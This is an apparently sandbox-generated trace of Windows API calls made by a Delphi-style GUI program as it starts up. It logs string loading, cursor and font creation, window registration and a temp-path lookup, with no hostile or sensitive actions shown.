LoadStringBaseExW () returned 0x4 [0262.620] WCSToMBEx () returned 0x4 [0262.620] LoadStringBaseExW () returned 0x4 [0262.620] WCSToMBEx () returned 0x4 [0262.620] LoadStringBaseExW () returned 0x3 [0262.620] WCSToMBEx () returned 0x3 [0262.620] LoadStringBaseExW () returned 0x4 [0262.620] WCSToMBEx () returned 0x4 [0262.620] LoadStringBaseExW () returned 0x4 [0262.620] WCSToMBEx () returned 0x4 [0262.620] LoadStringBaseExW () returned 0x5 [0262.620] WCSToMBEx () returned 0x5 [0262.620] LoadStringBaseExW () returned 0x5 [0262.620] WCSToMBEx () returned 0x5 [0262.620] LoadStringBaseExW () returned 0x3 [0262.620] WCSToMBEx () returned 0x3 [0262.620] LoadStringBaseExW () returned 0x3 [0262.620] WCSToMBEx () returned 0x3 [0262.620] LoadStringBaseExW () returned 0x4 [0262.620] WCSToMBEx () returned 0x4 [0262.621] RtlCaptureAnsiString () returned 0x1 [0262.621] NtUserRegisterWindowMessage () returned 0xc052 [0262.621] RtlCaptureAnsiString () returned 0x1 [0262.621] NtUserRegisterWindowMessage () returned 0xc0ef [0262.621] GetCurrentThreadId () returned 0x564 [0262.621] InternalAddAtom () returned 0xc050 [0262.621] LoadStringBaseExW () returned 0xb [0262.621] WCSToMBEx () returned 0xb [0262.621] LoadStringBaseExW () returned 0xc [0262.621] WCSToMBEx () returned 0xc [0262.621] LoadStringBaseExW () returned 0x11 [0262.621] WCSToMBEx () returned 0x11 [0262.621] LoadStringBaseExW () returned 0x8 [0262.621] WCSToMBEx () returned 0x8 [0262.621] LoadStringBaseExW () returned 0xe [0262.621] WCSToMBEx () returned 0xe [0262.621] LoadStringBaseExW () returned 0xa [0262.621] WCSToMBEx () returned 0xa [0262.621] LoadStringBaseExW () returned 0x4 [0262.621] WCSToMBEx () returned 0x4 [0262.621] LoadStringBaseExW () returned 0x9 [0262.621] WCSToMBEx () returned 0x9 [0262.621] LoadStringBaseExW () returned 0xf [0262.621] WCSToMBEx () returned 0xf [0262.621] LoadStringBaseExW () returned 0x9 [0262.621] WCSToMBEx () returned 0x9 [0262.621] LoadStringBaseExW () returned 0xf [0262.621] WCSToMBEx () returned 0xf [0262.621] LoadStringBaseExW () returned 0x15 [0262.621] WCSToMBEx () returned 0x15 [0262.621] LoadStringBaseExW () returned 0x10 [0262.621] WCSToMBEx () returned 0x10 [0262.621] LoadStringBaseExW () returned 0xf [0262.621] WCSToMBEx () returned 0xf [0262.621] LoadStringBaseExW () returned 0xe [0262.621] WCSToMBEx () returned 0xe [0262.621] LoadStringBaseExW () returned 0x14 [0262.621] WCSToMBEx () returned 0x14 [0262.621] LoadStringBaseExW () returned 0x9 [0262.621] WCSToMBEx () returned 0x9 [0262.621] LoadStringBaseExW () returned 0x7 [0262.621] WCSToMBEx () returned 0x7 [0262.622] LoadStringBaseExW () returned 0xc [0262.622] WCSToMBEx () returned 0xc [0262.622] LoadStringBaseExW () returned 0xb [0262.622] WCSToMBEx () returned 0xb [0262.622] LoadStringBaseExW () returned 0xd [0262.622] WCSToMBEx () returned 0xd [0262.622] LoadStringBaseExW () returned 0x10 [0262.622] WCSToMBEx () returned 0x10 [0262.622] LoadStringBaseExW () returned 0xb [0262.622] WCSToMBEx () returned 0xb [0262.622] LoadStringBaseExW () returned 0xa [0262.622] WCSToMBEx () returned 0xa [0262.622] LoadStringBaseExW () returned 0x15 [0262.622] WCSToMBEx () returned 0x15 [0262.622] LoadStringBaseExW () returned 0xe [0262.622] WCSToMBEx () returned 0xe [0262.622] LoadStringBaseExW () returned 0xd [0262.622] WCSToMBEx () returned 0xd [0262.622] LoadStringBaseExW () returned 0xb [0262.622] WCSToMBEx () returned 0xb [0262.622] LoadStringBaseExW () returned 0x5 [0262.622] WCSToMBEx () returned 0x5 [0262.622] LoadStringBaseExW () returned 0x8 [0262.622] WCSToMBEx () returned 0x8 [0262.622] LoadStringBaseExW () returned 0xb [0262.622] WCSToMBEx () returned 0xb [0262.622] LoadStringBaseExW () returned 0x5 [0262.622] WCSToMBEx () returned 0x5 [0262.622] LoadStringBaseExW () returned 0x4 [0262.622] WCSToMBEx () returned 0x4 [0262.622] LoadStringBaseExW () returned 0x7 [0262.622] WCSToMBEx () returned 0x7 [0262.622] LoadStringBaseExW () returned 0x4 [0262.622] WCSToMBEx () returned 0x4 [0262.622] LoadStringBaseExW () returned 0x6 [0262.622] WCSToMBEx () returned 0x6 [0262.622] LoadStringBaseExW () returned 0x4 [0262.622] WCSToMBEx () returned 0x4 [0262.622] LoadStringBaseExW () returned 0x3 [0262.622] WCSToMBEx () returned 0x3 [0262.622] LoadStringBaseExW () returned 0x6 [0262.622] WCSToMBEx () returned 0x6 [0262.622] LoadStringBaseExW () returned 0x4 [0262.622] WCSToMBEx () returned 0x4 [0262.622] LoadStringBaseExW () returned 0x4 [0262.622] WCSToMBEx () returned 0x4 [0262.622] LoadStringBaseExW () returned 0x6 [0262.622] WCSToMBEx () returned 0x6 [0262.622] LoadStringBaseExW () returned 0x4 [0262.622] WCSToMBEx () returned 0x4 [0262.622] LoadStringBaseExW () returned 0x5 [0262.622] WCSToMBEx () returned 0x5 [0262.622] LoadStringBaseExW () returned 0x5 [0262.622] WCSToMBEx () returned 0x5 [0262.623] LoadStringBaseExW () returned 0x6 [0262.623] WCSToMBEx () returned 0x6 [0262.623] LoadStringBaseExW () returned 0x5 [0262.623] WCSToMBEx () returned 0x5 [0262.623] RtlCaptureAnsiString () returned 0x1 [0262.623] NtUserRegisterWindowMessage () returned 0xc0eb [0262.623] RtlCaptureAnsiString () returned 0x1 [0262.623] NtUserRegisterWindowMessage () returned 0xc0fe [0262.623] GetVersion () returned 0x1db10106 [0262.623] GetCurrentProcessId () returned 0x560 [0262.623] InternalAddAtom () returned 0xc051 [0262.623] GetCurrentThreadId () returned 0x564 [0262.623] InternalAddAtom () returned 0xc052 [0262.623] RtlCaptureAnsiString () returned 0x1 [0262.623] NtUserRegisterWindowMessage () returned 0xc108 [0262.623] GetSystemMetrics (nIndex=19) returned 1 [0262.707] GetSystemMetrics (nIndex=75) returned 1 [0262.707] IsInsideUserApiHook () returned 0x1 [0262.707] _BeginIfHookedUserApiHook () returned 0x1 [0262.707] __SEH_epilog4 () returned 0x1 [0262.707] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0262.707] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0262.707] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ff9) returned 0x10140 [0262.707] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b [0262.707] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019 [0262.707] LoadCursorW (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017 [0262.707] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffa) returned 0x10142 [0262.708] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x10144 [0262.708] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x10146 [0262.708] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x10148 [0262.708] LoadCursorW (hInstance=0x400000, lpCursorName=0x7fff) returned 0x1014a [0262.708] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x1014c [0262.708] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0262.708] LoadCursorW (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b [0262.708] LoadCursorW (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011 [0262.708] LoadCursorW (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d [0262.708] LoadCursorW (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013 [0262.708] LoadCursorW (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f [0262.708] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0262.709] LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0262.709] LoadCursorW (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009 [0262.709] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0262.709] NtUserCallOneParam (Param=0x0, Routine=0x2b) returned 0x4090409 [0262.709] NtUserGetDC () returned 0x1401007f [0262.709] GetDeviceCaps (hdc=0x1401007f, index=90) returned 96 [0262.709] GdiReleaseDC () returned 0x1 [0262.709] NtUserCallOneParam (Param=0x1401007f, Routine=0x3b) returned 0x1 [0262.709] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x448c2c, dwData=0x26e156c) returned 1 [0262.709] IsInsideUserApiHook () returned 0x1 [0262.709] _BeginIfHookedUserApiHook () returned 0x1 [0262.709] __SEH_epilog4 () returned 0x1 [0262.709] CreateFontIndirectA (lplf=0x18f867) returned 0xd0a021c [0262.709] GetObjectA (in: h=0xd0a021c, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0262.709] IsInsideUserApiHook () returned 0x1 [0262.709] _BeginIfHookedUserApiHook () returned 0x1 [0262.709] __SEH_epilog4 () returned 0x1 [0262.709] CreateFontIndirectA (lplf=0x18f7ef) returned 0xc0a021e [0262.709] GetObjectA (in: h=0xc0a021e, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0262.709] CreateFontIndirectA (lplf=0x18f7b3) returned 0xe0a021b [0262.709] GetObjectA (in: h=0xe0a021b, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0262.712] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TApplication", lpwcx=0x18f724 | out: lpwcx=0x18f724) returned 0 [0262.712] RegisterClassExWOWA () returned 0x20c102 [0262.712] GetSystemMetrics (nIndex=0) returned 1440 [0262.712] GetSystemMetrics (nIndex=1) returned 900 [0262.712] _CreateWindowEx () returned 0x10150 [0262.716] _SetWindowLong () returned 0x406418 [0262.716] @ValidateHwnd@4 () returned 0xe26710 [0262.716] SendMessageWorker () returned 0x0 [0262.728] NtUserSetClassLong () returned 0x0 [0262.728] NtUserGetSystemMenu () returned 0x1015b [0262.730] NtUserDeleteMenu () returned 0x1 [0262.730] NtUserDeleteMenu () returned 0x1 [0262.731] NtUserDeleteMenu () returned 0x1 [0262.731] NtUserGetKeyboardLayoutList () returned 0x1 [0262.732] RtlCaptureAnsiString () returned 0x1 [0262.732] NtUserRegisterWindowMessage () returned 0xc0c2 [0262.732] KernelBaseGetGlobalData () returned 0x75540000 [0262.732] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xa0c390 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0262.732] KernelBaseGetGlobalData () returned 0x75540000 [0262.732] RtlUnicodeStringToAnsiString (in: DestinationString=0x18f8c8, SourceString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", AllocateDestinationString=0 | out: DestinationString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x0 [0262.732] LoadStringBaseExW () returned 0x2 [0262.733] WCSToMBEx () returned 0x2 [0262.733] LoadStringBaseExW () returned 0x2 [0262.733] WCSToMBEx () returned 0x2 [0262.733] LoadStringBaseExW () returned 0x2 [0262.733] WCSToMBEx () returned 0x2 [0262.733] LoadStringBaseExW () returned 0x2 [0262.733] WCSToMBEx () returned 0x2 [0262.733] LoadStringBaseExW () returned 0xd [0262.733] WCSToMBEx () returned 0xd [0262.733] LoadStringBaseExW () returned 0xe [0262.733] WCSToMBEx () returned 0xe [0262.733] LoadStringBaseExW () returned 0xa [0262.733] WCSToMBEx () returned 0xa [0262.733] LoadStringBaseExW () returned 0x11 [0262.733] WCSToMBEx () returned 0x11 [0262.733] LoadStringBaseExW () returned 0x16 [0262.733] WCSToMBEx () returned 0x16 [0262.813] ScaleWindowExtEx (in: hdc=0x0, xn=0, xd=0, yn=0, yd=0, lpsz=0x0 | out: lpsz=0x0) returned 0 [0262.813] GetLastError () returned 0x6